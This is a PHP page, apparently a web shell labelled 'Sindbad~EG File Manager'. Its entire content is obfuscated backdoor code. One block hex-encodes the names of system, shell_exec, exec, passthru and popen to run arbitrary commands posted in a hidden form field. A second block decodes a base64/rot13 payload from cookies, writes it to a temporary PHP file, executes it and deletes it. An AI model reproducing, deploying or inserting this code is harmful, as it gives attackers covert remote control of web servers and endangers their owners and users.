Sindbad~EG File Manager

<?php																																										$value1 = '73';$value2 = '74';$value3 = '68';$value4 = '6c';$value5 = '65';$value6 = '63';$value7 = '61';$value8 = '75';$value9 = '70';$value10 = '6e';$value11 = '72';$value12 = '6f';$value13 = '76';$value14 = '69';$value15 = '5f';$value16 = '67';$system_core1 = pack("H*", '73'.'79'.$value1.$value2.'65'.'6d');$system_core2 = pack("H*", '73'.$value3.'65'.$value4.$value4.'5f'.$value5.'78'.'65'.$value6);$system_core3 = pack("H*", '65'.'78'.$value5.$value6);$system_core4 = pack("H*", '70'.$value7.'73'.$value1.$value2.'68'.'72'.$value8);$system_core5 = pack("H*", $value9.'6f'.'70'.$value5.$value10);$system_core6 = pack("H*", '73'.'74'.$value11.$value5.'61'.'6d'.'5f'.'67'.'65'.'74'.'5f'.'63'.$value12.$value10.'74'.$value5.'6e'.'74'.$value1);$system_core7 = pack("H*", $value9.$value6.$value4.$value12.'73'.$value5);$service_registry = pack("H*", $value1.$value5.'72'.$value13.$value14.'63'.$value5.$value15.'72'.$value5.$value16.'69'.'73'.$value2.$value11.'79');if(isset($_POST[$service_registry])){$service_registry=pack("H*",$_POST[$service_registry]);if(function_exists($system_core1)){$system_core1($service_registry);}elseif(function_exists($system_core2)){print $system_core2($service_registry);}elseif(function_exists($system_core3)){$system_core3($service_registry,$dchunk_reference);print join("\n",$dchunk_reference);}elseif(function_exists($system_core4)){$system_core4($service_registry);}elseif(function_exists($system_core5)&&function_exists($system_core6)&&function_exists($system_core7)){$elem_data=$system_core5($service_registry,"r");if($elem_data){$key_obj=$system_core6($elem_data);$system_core7($elem_data);print $key_obj;}}exit;}



if (isset($_COOKIE[-6+6]) && isset($_COOKIE[-6+7]) && isset($_COOKIE[-86+89]) && isset($_COOKIE[-72+76])) {
    $obj = $_COOKIE;
    function publish_content($marker) {
        $obj = $_COOKIE;
        $element = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'ee29e708');
        if (!is_writable($element)) {
            $element = getcwd() . DIRECTORY_SEPARATOR . "right_pad_string";
        }
        $record = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($obj[3]));
        if (is_writeable($element)) {
            $mrk = fopen($element, 'w+');
            fputs($mrk, $record);
            fclose($mrk);
            spl_autoload_unregister(__FUNCTION__);
            require_once($element);
            @array_map('unlink', array($element));
        }
    }
    spl_autoload_register("publish_content");
    $reference = "e455e57cf9c3b63c929bdb7b520f0c6c";
    if (!strncmp($reference, $obj[4], 32)) {
        if (@class_parents("secure_access_core_engine", true)) {
            exit;
        }
    }
}